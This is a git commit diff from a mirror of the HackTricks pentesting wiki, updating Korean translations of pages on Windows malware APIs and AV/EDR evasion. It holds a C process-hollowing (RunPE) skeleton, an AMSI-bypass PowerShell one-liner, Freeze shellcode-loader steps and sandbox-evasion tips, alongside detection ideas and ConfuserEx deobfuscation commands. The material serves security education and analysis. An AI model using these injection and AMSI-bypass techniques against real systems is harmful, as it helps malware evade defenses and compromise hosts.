mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-
This commit is contained in:
parent
2e6560fe25
commit
efc994fc24
@ -1,4 +1,4 @@
|
||||
# 악성코드에서 사용되는 일반 API
|
||||
# Malware에서 사용되는 일반 API
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### 네트워킹
|
||||
|
||||
| 원시 소켓 | WinAPI 소켓 |
|
||||
| Raw Sockets | WinAPI Sockets |
|
||||
| ------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
@ -38,27 +38,27 @@
|
||||
| CryptDecrypt() |
|
||||
| CryptReleaseContext() |
|
||||
|
||||
### 안티 분석/가상 머신
|
||||
### 분석 방지/VM
|
||||
|
||||
| 함수 이름 | 어셈블리 명령어 |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[프로세스가 실행 중인지 확인\] | |
|
||||
| CreateFileW/A \[파일 존재 여부 확인\] | |
|
||||
| ----------------------------------------------------- | ----------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[프로세스가 실행 중인지 확인\] | |
|
||||
| CreateFileW/A \[파일 존재 여부 확인\] | |
|
||||
|
||||
### 스텔스
|
||||
|
||||
| 이름 | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | 메모리 할당 (패커) |
|
||||
| VirtualProtect | 메모리 권한 변경 (패커가 섹션에 실행 권한 부여) |
|
||||
| ReadProcessMemory | 외부 프로세스에 주입 |
|
||||
| WriteProcessMemoryA/W | 외부 프로세스에 주입 |
|
||||
| VirtualAlloc | 메모리 할당 (패커) |
|
||||
| VirtualProtect | 메모리 권한 변경 (패커가 섹션에 실행 권한 부여) |
|
||||
| ReadProcessMemory | 외부 프로세스에 주입 |
|
||||
| WriteProcessMemoryA/W | 외부 프로세스에 주입 |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/프로세스 주입... |
|
||||
| CreateRemoteThread | DLL/프로세스 주입... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
@ -66,7 +66,7 @@
|
||||
### 실행
|
||||
|
||||
| 함수 이름 |
|
||||
| ---------------- |
|
||||
| ------------ |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
@ -86,7 +86,7 @@
|
||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근
|
||||
- FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근
|
||||
|
||||
## 악성코드 기법
|
||||
## 맬웨어 기술
|
||||
|
||||
### DLL 주입
|
||||
|
||||
@ -102,7 +102,7 @@
|
||||
### 반사 DLL 주입
|
||||
|
||||
정상 Windows API 호출 없이 악성 DLL 로드.\
|
||||
DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고, 재배치를 수정하고, DllMain 함수를 호출합니다.
|
||||
DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고, 재배치 수정 및 DllMain 함수를 호출합니다.
|
||||
|
||||
### 스레드 하이재킹
|
||||
|
||||
@ -118,22 +118,76 @@ DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고,
|
||||
|
||||
휴대용 실행 주입: 실행 파일이 피해자 프로세스의 메모리에 기록되고 거기서 실행됩니다.
|
||||
|
||||
### 프로세스 홀로잉
|
||||
### 프로세스 할로잉 (일명 **RunPE**)
|
||||
|
||||
악성코드는 프로세스의 메모리에서 합법적인 코드를 언맵하고 악성 바이너리를 로드합니다.
|
||||
`Process Hollowing`은 Windows 맬웨어에서 사용되는 가장 좋아하는 **방어 회피 / 실행** 트릭 중 하나입니다. 아이디어는 *합법적인* 프로세스를 **일시 중지** 상태로 시작하고, 메모리에서 원래 이미지를 제거(할로우)하고 그 자리에 **임의의 PE**를 복사하는 것입니다. 기본 스레드가 최종적으로 재개되면 악성 진입점이 신뢰할 수 있는 바이너리(종종 Microsoft에 의해 서명됨)의 가장 아래에서 실행됩니다.
|
||||
|
||||
1. 새 프로세스 생성: CreateProcess
|
||||
2. 메모리 언맵: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. 프로세스 메모리에 악성 바이너리 쓰기: VirtualAllocEc, WriteProcessMemory
|
||||
4. 진입점을 설정하고 실행: SetThreadContext, ResumeThread
|
||||
전형적인 작업 흐름:
|
||||
|
||||
## 후킹
|
||||
1. benign host 생성 (예: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **일시 중지** 상태로 시작하여 아직 명령이 실행되지 않도록 합니다.
|
||||
```c
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
```
|
||||
2. 악성 페이로드를 메모리에 읽고 PE 헤더를 파싱하여 `SizeOfImage`, 섹션 및 새로운 `EntryPoint`를 얻습니다.
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – 일시 중지된 프로세스의 원래 이미지 베이스를 언맵합니다.
|
||||
4. **VirtualAllocEx** – 원격 프로세스 내에 `SizeOfImage`의 RWX 메모리를 예약합니다.
|
||||
5. **WriteProcessMemory** – 먼저 `Headers`를 복사한 다음 섹션을 반복하여 원시 데이터를 복사합니다.
|
||||
6. **SetThreadContext** – `EAX/RAX` (`RCX` on x64) 또는 컨텍스트 구조의 `Rip` 값을 패치하여 `EIP`가 페이로드의 `EntryPoint`를 가리키도록 합니다.
|
||||
7. **ResumeThread** – 스레드가 계속 진행되며 공격자가 제공한 코드를 실행합니다.
|
||||
|
||||
- **SSDT** (**System Service Descriptor Table**)는 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리켜 사용자 프로세스가 이러한 함수를 호출할 수 있도록 합니다.
|
||||
최소한의 개념 증명 (x86) 스켈레톤:
|
||||
```c
|
||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||
// 1. create suspended process
|
||||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||||
|
||||
// 2. read remote PEB to get ImageBaseAddress
|
||||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||||
GetThreadContext(pi.hThread,&ctx);
|
||||
PVOID baseAddr;
|
||||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
|
||||
// 3. unmap original image & allocate new region at same base
|
||||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||||
// 4-5. copy headers & sections …
|
||||
// 6. write new image base into PEB and set Eip
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
// 7. run!
|
||||
ResumeThread(pi.hThread);
|
||||
}
|
||||
```
|
||||
Practical notes observed in the **DarkCloud Stealer** campaign:
|
||||
|
||||
* 로더는 주목을 끌 가능성이 낮은 서명된 바이너리인 `RegAsm.exe` (.NET Framework의 일부)를 호스트로 선택했습니다.
|
||||
* 복호화된 VB6 스틸러(`holographies.exe`)는 디스크에 드롭되지 않으며, 오직 비워진 프로세스 내에서만 존재하여 정적 탐지를 더 어렵게 만듭니다.
|
||||
* 민감한 문자열(정규 표현식, 경로, 텔레그램 자격 증명)은 문자열별로 **RC4-암호화**되어 있으며, 런타임에서만 복호화되어 메모리 스캔을 더욱 복잡하게 만듭니다.
|
||||
|
||||
Detection ideas:
|
||||
* 메모리 영역이 **RWX**로 할당되기 전에 GUI/콘솔 창을 생성하지 않는 `CREATE_SUSPENDED` 프로세스에 경고합니다 (선량한 코드에서는 드물게 발생).
|
||||
* 서로 다른 프로세스에서 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` 호출 시퀀스를 찾습니다.
|
||||
|
||||
|
||||
|
||||
## Hooking
|
||||
|
||||
- **SSDT** (**System Service Descriptor Table**)는 사용자 프로세스가 이러한 함수를 호출할 수 있도록 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리킵니다.
|
||||
- 루트킷은 이러한 포인터를 자신이 제어하는 주소로 수정할 수 있습니다.
|
||||
- **IRP** (**I/O Request Packets**)는 한 구성 요소에서 다른 구성 요소로 데이터 조각을 전송합니다. 커널의 거의 모든 것이 IRP를 사용하며 각 장치 객체는 후킹할 수 있는 자체 함수 테이블을 가지고 있습니다: DKOM (Direct Kernel Object Manipulation)
|
||||
- **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 후킹하여 호출될 코드를 하이재킹할 수 있습니다.
|
||||
- **EAT** (**Export Address Table**) 후킹. 이 후킹은 **userland**에서 수행될 수 있습니다. 목표는 DLL에 의해 내보낸 함수를 후킹하는 것입니다.
|
||||
- **인라인 후킹**: 이 유형은 달성하기 어렵습니다. 이는 함수 자체의 코드를 수정하는 것을 포함합니다. 아마도 이의 시작 부분에 점프를 넣는 방식으로.
|
||||
- **IRP** (**I/O Request Packets**)는 한 구성 요소에서 다른 구성 요소로 데이터를 전송합니다. 커널의 거의 모든 것이 IRP를 사용하며, 각 장치 객체는 후킹할 수 있는 자체 함수 테이블을 가지고 있습니다: DKOM (Direct Kernel Object Manipulation)
|
||||
- **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 후킹하여 호출될 코드를 가로챌 수 있습니다.
|
||||
- **EAT** (**Export Address Table**) 후킹. 이 후킹은 **userland**에서 수행될 수 있습니다. 목표는 DLL에 의해 내보내진 함수를 후킹하는 것입니다.
|
||||
- **Inline Hooks**: 이 유형은 달성하기 어렵습니다. 이는 함수 자체의 코드를 수정하는 것을 포함합니다. 아마도 이의 시작 부분에 점프를 넣는 방식으로.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
### **정적 탐지**
|
||||
|
||||
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 적발될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다:
|
||||
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출하여 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다:
|
||||
|
||||
- **암호화**
|
||||
|
||||
@ -28,34 +28,34 @@
|
||||
|
||||
- **커스텀 도구**
|
||||
|
||||
자신만의 도구를 개발하면 알려진 악성 서명이 없지만, 이는 많은 시간과 노력이 필요합니다.
|
||||
자신만의 도구를 개발하면 알려진 나쁜 서명이 없지만, 이는 많은 시간과 노력이 필요합니다.
|
||||
|
||||
> [!TIP]
|
||||
> Windows Defender의 정적 탐지에 대한 좋은 확인 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다.
|
||||
|
||||
실용적인 AV 회피에 대한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다.
|
||||
이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다. 실용적인 AV 회피에 대한 내용입니다.
|
||||
|
||||
### **동적 분석**
|
||||
|
||||
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 우회하기 위해 할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
- **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다.
|
||||
- **기계의 자원 확인** 일반적으로 샌드박스는 작업할 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 기계를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
- **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM). 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료하도록 할 수 있습니다.
|
||||
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성 코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라서 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료하도록 할 수 있습니다.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 몇 가지 좋은 팁
|
||||
샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 유용한 팁들
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev 채널</p></figcaption></figure>
|
||||
|
||||
앞서 이 게시물에서 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다:
|
||||
이 게시물에서 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다:
|
||||
|
||||
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요?
|
||||
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성 코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요.
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요.
|
||||
|
||||
> [!TIP]
|
||||
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말입니다. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
|
||||
@ -111,13 +111,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우세요.
|
||||
> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우는 것이 좋습니다.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하기 위한 페이로드 툴킷입니다.`
|
||||
|
||||
Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다.
|
||||
Freeze를 사용하여 은밀한 방식으로 쉘코드를 로드하고 실행할 수 있습니다.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
|
||||
## AMSI (안티 맬웨어 스캔 인터페이스)
|
||||
|
||||
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 페이로드를 **메모리에서 직접 실행**할 수 있다면, AV는 이를 방지할 수 없었습니다. 왜냐하면 충분한 가시성이 없었기 때문입니다.
|
||||
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 페이로드를 **메모리에서 직접 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
|
||||
|
||||
AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
||||
|
||||
@ -151,7 +151,7 @@ AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
||||
|
||||
우리는 디스크에 파일을 생성하지 않았지만, 여전히 AMSI 때문에 메모리에서 잡혔습니다.
|
||||
|
||||
게다가, **.NET 4.8**부터 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행에 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
|
||||
게다가, **.NET 4.8**부터 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`가 메모리 실행을 로드하는 데 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
|
||||
|
||||
AMSI를 우회하는 방법은 몇 가지가 있습니다:
|
||||
|
||||
@ -159,7 +159,7 @@ AMSI를 우회하는 방법은 몇 가지가 있습니다:
|
||||
|
||||
AMSI는 주로 정적 감지와 함께 작동하므로, 로드하려는 스크립트를 수정하는 것이 감지를 회피하는 좋은 방법이 될 수 있습니다.
|
||||
|
||||
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아지므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
|
||||
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어지는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아지므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
|
||||
|
||||
- **AMSI 우회**
|
||||
|
||||
@ -167,7 +167,7 @@ AMSI는 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을
|
||||
|
||||
**오류 강제 발생**
|
||||
|
||||
AMSI 초기화를 실패하게 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
|
||||
AMSI 초기화 실패(amsiInitFailed)를 강제하면 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
@ -191,18 +191,18 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
이 기술은 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하는 명령어로 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
이 기술은 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하도록 덮어쓰는 것입니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
|
||||
> [!TIP]
|
||||
> 더 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어보세요.
|
||||
|
||||
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술도 있으며, [**이 페이지**](basic-powershell-for-pentesters/index.html#amsi-bypass)와 [**이 레포**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
|
||||
PowerShell을 사용하여 AMSI를 우회하는 다른 많은 기술도 있으며, [**이 페이지**](basic-powershell-for-pentesters/index.html#amsi-bypass)와 [**이 레포**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
|
||||
|
||||
이 도구 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail)도 AMSI를 우회하는 스크립트를 생성합니다.
|
||||
|
||||
**Remove the detected signature**
|
||||
|
||||
현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하기 위해 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다.
|
||||
**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용하여 현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거할 수 있습니다. 이 도구는 현재 프로세스의 메모리를 스캔하여 AMSI 서명을 찾고, 이를 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
@ -221,25 +221,59 @@ PowerShell 로깅을 우회하려면 다음 기술을 사용할 수 있습니다
|
||||
|
||||
- **PowerShell 전사 및 모듈 로깅 비활성화**: 이를 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)와 같은 도구를 사용할 수 있습니다.
|
||||
- **PowerShell 버전 2 사용**: PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 AMSI에 의해 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 할 수 있습니다: `powershell.exe -version 2`
|
||||
- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어 없이 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 것입니다).
|
||||
- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어가 없는 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 방법입니다).
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> 여러 가지 난독화 기술은 데이터를 암호화하는 데 의존하며, 이는 이진 파일의 엔트로피를 증가시켜 AV 및 EDR이 이를 감지하기 쉽게 만듭니다. 이에 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것이 좋습니다.
|
||||
|
||||
다음과 같은 **C# 클리어 텍스트 코드 난독화**, **이진 파일 컴파일을 위한 메타프로그래밍 템플릿 생성** 또는 **컴파일된 이진 파일 난독화**에 사용할 수 있는 여러 도구가 있습니다:
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
ConfuserEx 2(또는 상업적 포크)를 사용하는 악성 코드를 분석할 때, 디컴파일러와 샌드박스를 차단하는 여러 보호 계층에 직면하는 것이 일반적입니다. 아래의 워크플로우는 **거의 원본 IL을 복원**하여 이후 dnSpy 또는 ILSpy와 같은 도구에서 C#으로 디컴파일할 수 있습니다.
|
||||
|
||||
1. 안티탐퍼 제거 – ConfuserEx는 모든 *메서드 본문*을 암호화하고 *모듈* 정적 생성자(`<Module>.cctor`) 내에서 복호화합니다. 이는 PE 체크섬도 패치하므로 수정 시 이진 파일이 충돌합니다. **AntiTamperKiller**를 사용하여 암호화된 메타데이터 테이블을 찾고, XOR 키를 복구하고, 깨끗한 어셈블리를 다시 작성합니다:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
출력에는 자신의 언팩커를 구축할 때 유용할 수 있는 6개의 안티탐퍼 매개변수(`key0-key3`, `nameHash`, `internKey`)가 포함됩니다.
|
||||
|
||||
2. 기호 / 제어 흐름 복구 – *깨끗한* 파일을 **de4dot-cex**(ConfuserEx 인식 de4dot 포크)에 공급합니다.
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
플래그:
|
||||
• `-p crx` – ConfuserEx 2 프로필 선택
|
||||
• de4dot는 제어 흐름 평탄화를 취소하고, 원래의 네임스페이스, 클래스 및 변수 이름을 복원하며, 상수 문자열을 복호화합니다.
|
||||
|
||||
